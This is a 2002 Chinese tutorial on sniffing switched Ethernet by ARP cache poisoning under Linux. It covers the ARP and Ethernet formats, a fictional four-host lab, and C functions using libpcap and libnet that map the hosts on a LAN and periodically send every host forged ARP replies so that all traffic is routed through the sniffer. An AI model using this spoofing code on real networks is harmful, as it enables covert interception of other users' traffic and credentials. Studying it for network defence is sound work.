交换型网络环境嗅探原理及LINUX下的实现

施聪 ([e-mail]), 程序员

2002 年 12 月 09 日

传统的嗅探器在共享型以太网中可以捕获到所有数据包，但在交换型以太网中却无法工作。本文介绍利用 ARP 欺骗模式，改变其它主机 arp 高速缓存中的记录，使所有数据包都到达本机且由本机转发，从而达到捕获数据包的效果。

1.以太网嗅探原理

以太网环境下的嗅探本身是比较简单的，只要网卡能设置成混杂模式且有数据包到达网卡，则可用多种方法捕获数据包并进行各种协议分析。在LINUX下可用RAW套接字，SOCK_PACKET套接字， LIBPCAP函数包等方法捕获数据包，典型的应用程序如TCPDUMP，LINUX_SNIFFER等。

在共享型以太网中，上述两个条件显然是满足的。所有的主机都连接到HUB，而HUB对数据包传输形式是广播。这意味着发给某个主机的数据包也会被其它所有主机的网卡所收到。因此在这样的环境中，任何设置成混杂模式的主机，都可以捕获发送给其它主机的数据包，从而窃听网络上的所有通信。

在交换型以太网中，上述条件2是不满足的。所有的主机连接到SWITCH，SWITCH比HUB更聪明，它知道每台计算机的MAC地址信息和与之相连的特定端口，发给某个主机的数据包会被SWITCH从特定的端口送出，而不是象HUB那样，广播给网络上所有的机器。这种传输形式使交换型以太网的性能大大提高，同时还有一个附加的作用：使传统的嗅探器无法工作。

综上所述，交换型网络环境嗅探的核心问题是：如何使本不应到达的数据包到达本地。通常的方法有MAC洪水包和ARP欺骗。其中MAC洪水包是向交换机发送大量含有虚构MAC地址和IP地址的IP包，使交换机无法处理如此多的信息，致使交换机就进入了所谓的"打开失效"模式，也就是开始了类似于集线器的工作方式，向网络上所有的机器广播数据包。（具体实现请参阅Dsniff中的macof）本文中，我们将要详细分析ARP欺骗模式。

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2.相关协议数据包格式

• 以太数据包格式： 目的MAC地址源MAC地址类型数据66246~1500
  类型0800 ：IP数据包
  类型0806 ：ARP数据包
• ARP数据包格式： 目的端 MAC 地址源MAC地址0806硬件类型协议类型硬件地址长度协议地址长度ARP包类型发送端MAC地址发送端IP地址目的端MAC地址目的端IP地址662221126464<------以太网首部--------><------26字节ARP请求/应答-------->
• ARP数据包简化格式
  为了论述的简洁性，我们把ARP数据包格式做一些简化。 目的端MAC地址源MAC地址ARP包类型发送端MAC地址发送端IP地址目的端MAC地址目的端IP地址

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3.实验环境

为了更清楚的描述交换网络的嗅探原理，我们建立一个虚构的交换网络环境， 在下面的论述中将用到这些数据.

主机编号IP地址MAC地址备注A1.1.1.101:01:01　B2.2.2.202:02:02　C3.3.3.303:03:03　D4.4.4.404:04:04（我）运行嗅探器



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4.ARP协议原理

在以太网中传输的数据包是以太包，而以太包的寻址是依据其首部的物理地址（MAC地址）。仅仅知道某主机的逻辑地址（IP地址）并不能让内核发送一帧数据给此主机，内核必须知道目的主机的物理地址才能发送数据。ARP协议的作用就是在于把逻辑地址变换成物理地址，也既是把32bit的IP地址变换成48bit的以太地址。

每一个主机都有一个ARP高速缓存，此缓存中记录了最近一段时间内其它IP地址与其MAC地址的对应关系。如果本机想与某台主机通信，则首先在ARP高速缓存中查找此台主机的IP和MAC信息，如果存在，则直接利用此MAC地址构造以太包；如果不存在，则向本网络上每一个主机广播一个ARP请求包，其意义是"如果你有此IP地址，请告诉我你的MAC地址"，目的主机收到此请求包后，发送一个ARP响应包，本机收到此响应包后，把相关信息记录在ARP高速缓存中，以下的步骤同上。

可以看出，ARP协议是有缺点的，第三方主机可以构造一个ARP欺骗包，而源主机却无法分辨真假。

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5.ARP欺骗原理

假设B(2.2.2.2)要与A(1.1.1.1)通信，且B的ARP高速缓存中没有关于A的MAC信息，则B发出ARP请求包。

FF:FF:FF02:02:02请求02:02:022.2.2.2FF:FF:FF1.1.1.1广播B的MAC　B的MACB的IP目的地址A的IP

正常情况下A向B发出ARP应答包:

02:02:0201:01:01应答01:01:011.1.1.102:02:022.2.2.2B的MACA的MAC　A的MACA的IPB的MACB的IP

我捕获到B的ARP请求包后，构造ARP欺骗包(欺骗B对A的连接)

02:02:0204:04:04应答04:04:041.1.1.102:02:022.2.2.2B的MAC我的MAC　我的MACA的IPB的MACB的IP

此时，B的ARP高速缓存中关于A的记录为(1.1.1.1 <-- -->04:04:04)，则B向A发IP包实际上是发到我的主机(4.4.4.4，04:04:04)。同理，如果我进一步欺骗A，让A的ARP高速缓存中关于B的记录为(2.2.2.2 <-- --> 04:04:04)，则A向B发IP包实际上也是发到我的主机(4.4.4.4，04:04:04)。最后，我让本机打开数据包转发，也既是充当路由器，则A，B之间能正常通信，但我能全部捕获到相关数据。

以上讨论的是欺骗两台主机，如果我能让局域网中每一台主机的ARP高速缓存中关于其它任意一个主机所对应的MAC地址都为我的MAC地址(04:04:04:04)，则本局域网中所有数据包我都能捕获到!

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6.程序设计思路

• 使用到的函数包
  libpcap : 捕获ARP数据包。
  libnet : 获得本机的MAC地址和IP地址；构造和发送ARP欺骗包。
  这两个的函数包的使用在网上资料很多，本文中不介绍。
  
• 主要数据结构
  程序中有两个全局变量，MYIP代表本机的IP地址，MYMAC代表本机的MAC地址。
  程序中维护一个存放主机信息的链表：
  

  typedef struct host HOST;
  struct host
  {
  unsigned long  ip;              // IP地址
  unsigned char  mac[6];          // MAC地址
  int mac_flag;   //  0：MAC为空，1：MAC不为空
  HOST  * next;
  }；
  

  
  
• 掌握本局域网中每一台主机的IP地址和MAC地址信息。
  利用libpcap捕获网络中的ARP请求/应答包，最大限度的提取相关信息。如在第五节中的B对A的ARP请求包，我们可以提取出关于B的完整信息（2.2.2.2，02:02:02），也获得了关于A的部分信息（1.1.1.1，null）。在知道网络中有主机A的情况下，我们可以构造并发送对A的ARP请求包，捕获A的ARP应答包，从而完整掌握A的信息。同理，我们也可以捕获TCP/UDP等数据包，从中提取信息。
  创建一个向链表增加主机信息的函数：add_host(ip，mac)， 每收到一个ARP请求/应答包，都执行add_host( )两次：add_host(发送端IP，发送端MAC)，add_host(目的端IP，目的端MAC)。
  在收到ARP应答包时，首先检查发送端的IP和MAC，如果IP不是自己的，但MAC是自己的，则说明此应答包是本机构造的ARP欺骗包，程序忽略。
  对于正常的ARP请求包和应答包，add_host(ip， mac )中IP或MAC只要有一个是自己的(ip == MYIP || mac ==MYMAC)，则程序忽略。显然，没有必要自己欺骗自己。
  add_host(ip，mac)遍历主机链表，如果IP存在，且MAC不空，则把MAC地址写入；如果不存在，则增加一个HOST节点，写入IP地址，如果MAC不空，则也把MAC地址写入。注意到这样一个情况：在ARP请求包中，目的MAC地址是没有意义的，所以我们只写入IP地址，而MAC地址用NULL来表示。这是我们收集网络拓朴结构的一种被动方法。
  

  函数add_host( )逻辑设计MYIP = IP(d)，MYMAC = MAC(d)

  
  
  

  代码如下：

  void add_host(u_long ip, u_char * mac)
  {
  HOST * new = NULL;
  HOST * cur = NULL;
  
  if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) )
  return;
  
  //遍历链表查询IP地址
  for(cur = head; cur; cur = cur->next)
  {
  if( ip == cur->ip )
  {
  if( mac )  // MAC地址不空，则写入
  {
  memcpy(cur->mac, mac, ETHER_ADDR_LEN);
  cur->mac_flag = 1;
  }
  return;
  }
  }
  if(cur == NULL)  // 链表中没有此IP地址
  {
  new = (HOST *)malloc(sizeof(HOST));
  new->ip = ip;
  if( mac )
  {
  memcpy(new->mac, mac, ETHER_ADDR_LEN);
  new->mac_flag = 1;
  }
  else
  new->mac_flag = 0;
  new->next = NULL;
  if(! head)     // 把新节点加入链表
  {
  head = new;
  tail = new;
  }
  else
   {
  tail->next = new;
  tail = new;
  }  
  } 
  return;
  }
  

  
  
• 周期性的向局域网中每一台主机发送ARP欺骗包。
  创建一个发送ARP欺骗包的函数send_fake_arp_packet()，遍历主机链表的每一个IP地址，如果此IP地址的MAC地址已知，则遍历主机链表中其它IP地址，以其它IP地址和本机的MAC地址为发送端，以选中的IP地址和MAC地址为目的端，构造并发送ARP应答欺骗包；如果此IP地址的MAC地址未知，则以本机IP地址和MAC地址为发送端，以选中的IP地址为目的端，构造并发送正常的ARP请求包。注意，这是我们收集网络拓朴结构的一种主动方法。
  ARP高速缓存中的记录都有过期时间，不同的操作系统有不同的设置.在实施中，我们只需以较短的时间周期性的发ARP欺骗包，则可解决这个问题.
  代码如下：
  

  void send_fake_arp_packet()
  {
  HOST * temp, * cur;
  u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  
  for(cur = head; cur ; cur = cur->next)
  {
  
  if( cur->mac_flag == 0)   
  {
  // 构造ARP请求包请求此IP地址的MAC地址
  libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
  libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
  MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
  if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
  errexit("libnet_write_link_layer error/n");
  
  continue;
  }
  for(temp = head; temp; temp = temp->next)
  {
  if (temp == cur)
  continue;
  
  libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
  libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
  MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
  if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
  errexit("libnet_write_link_layer error/n");
  }
  }
  }
  

  
  
• 正确处理一个以太包实际被捕获两次的情况。例如：捕获到B发向A的以太包，第一次为（2.2.2.2，02:02:02）->(1.1.1.1，04:04:04)，第二次为(2.2.2.2，04:04:04)->(1.1.1.1，01:01:01)。区分这两次捕获的规则很简单：目标IP不为本IP且目标MAC为本MAC就是第一次；源IP不为本IP且源MAC为本MAC就是第二次。在实际处理中，可任取一种包并把源/目的MAC改写，对另一种包忽略即可。

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7.相关说明

• 这种ARP欺骗是以主机的ARP高速缓存可以动态改变为前提的，如果ARP高速缓存中某一IP的MAC地址被设为静态(static)，则对关于此IP的欺骗是显然不成立的。
• 为了尽快的掌握网络中主机的地址信息，应至少对ARP请求包和ARP应答包都处理。如果只处理ARP请求包，则在此刻只能掌握发端主机的信息，并只能欺骗发端主机。在实际的IP包捕获中，就会看到单边数据包。当然，在程序运行一段时间后，所有主机信息也能全部掌握，但效率显然是不高的。如果再加上对未知MAC的IP的主动请求，则捕获所有数据包可在较短时间内完成。（在实际的C类网中测试，不到一分钟）

参考资料

本文的样码 在此下载。

dsniff： http://naughty.monkey.org/~dugsong/dsniff/

http://sunsite.uba.ar/download/pub/OpenBSD/snapshots/packages/i386/

http://www.cpress.cz/knihy/tcp-ip-bezp/Download/dsniff/

angst： http://sourceforge.net/project/showfiles.php?group_id=14044&release_id=23186

http://www.zone-h.org/en/download/category=52/

《交换网络嗅探》：作者：Sumit Dhar < [e-mail]>

翻译：coolfrog < [e-mail]>

《TCP/IP详解 卷一》：作者 W.Richard Stevens

关于作者

施聪，成都人，程序员。长期从事基于UNIX/LINUX下的c/c++程序设计。近期学习和研究的方向为J2EE，设计模式，软件工程。可通过 [e-mail]或 [e-mail]和他联系。